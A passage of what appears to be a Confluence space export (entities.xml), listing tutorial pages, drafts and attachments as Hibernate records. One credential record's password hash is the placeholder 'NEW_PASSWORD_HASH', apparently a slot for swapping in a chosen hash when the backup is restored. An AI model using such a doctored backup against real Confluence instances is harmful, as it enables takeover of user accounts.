<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98333</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262192</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.927</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98346</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[Confluence-Origami-Necktie.jpeg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[confluence-origami-necktie.jpeg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262222</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262239</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262240</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98332</id>
|
||||
<property name="hibernateVersion">71</property>
|
||||
<property name="title"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163846</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196654</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196655</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196656</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196657</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196658</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262149</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262152</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.989</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98341</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98351</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98354</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">4</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98343</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[step09-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step09-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262246</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262247</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262248</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262265</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98331</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262189</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.025</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98344</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[Step8-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step8-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262227</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262228</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262258</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262259</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98336</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262188</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.030</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98335</id>
|
||||
<property name="hibernateVersion">12</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262195</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.033</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98337</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[prev.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[prev.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262236</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262249</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262250</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98338</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[welcome.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[welcome.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262235</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262238</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262262</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98314</id>
|
||||
<property name="hibernateVersion">37</property>
|
||||
<property name="title"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163844</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196609</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196610</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196611</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196612</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196613</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196644</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262150</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262167</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262185</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.044</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">6</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">524289</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="passwordHash"><![CDATA[NEW_PASSWORD_HASH]]></property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98313</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262191</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.049</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98312</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262193</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.053</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98311</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262177</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.056</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98318</id>
|
||||
<property name="hibernateVersion">42</property>
|
||||
<property name="title"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163850</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196627</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196629</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196631</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196632</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262160</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262162</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.061</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98342</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98346</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98350</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98352</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">3</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98317</id>
|
||||
<property name="hibernateVersion">28</property>
|
||||
<property name="title"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163841</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196616</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196639</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196642</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196643</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262154</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.065</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98337</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98345</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98347</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98349</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">2</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98316</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262173</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.071</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98315</id>
|
||||
<property name="hibernateVersion">5</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262159</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.074</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98322</id>
|
||||
<property name="hibernateVersion">53</property>
|
||||
<property name="title"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163849</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196650</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196651</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196652</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196653</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262166</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262182</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.078</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98339</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98355</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98356</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">1</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98321</id>
|
||||
<property name="hibernateVersion">38</property>
|
||||
<property name="title"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163848</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196628</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196633</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196634</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196635</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196636</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262153</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262156</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.083</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98340</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98348</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98353</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">5</property>
|
||||
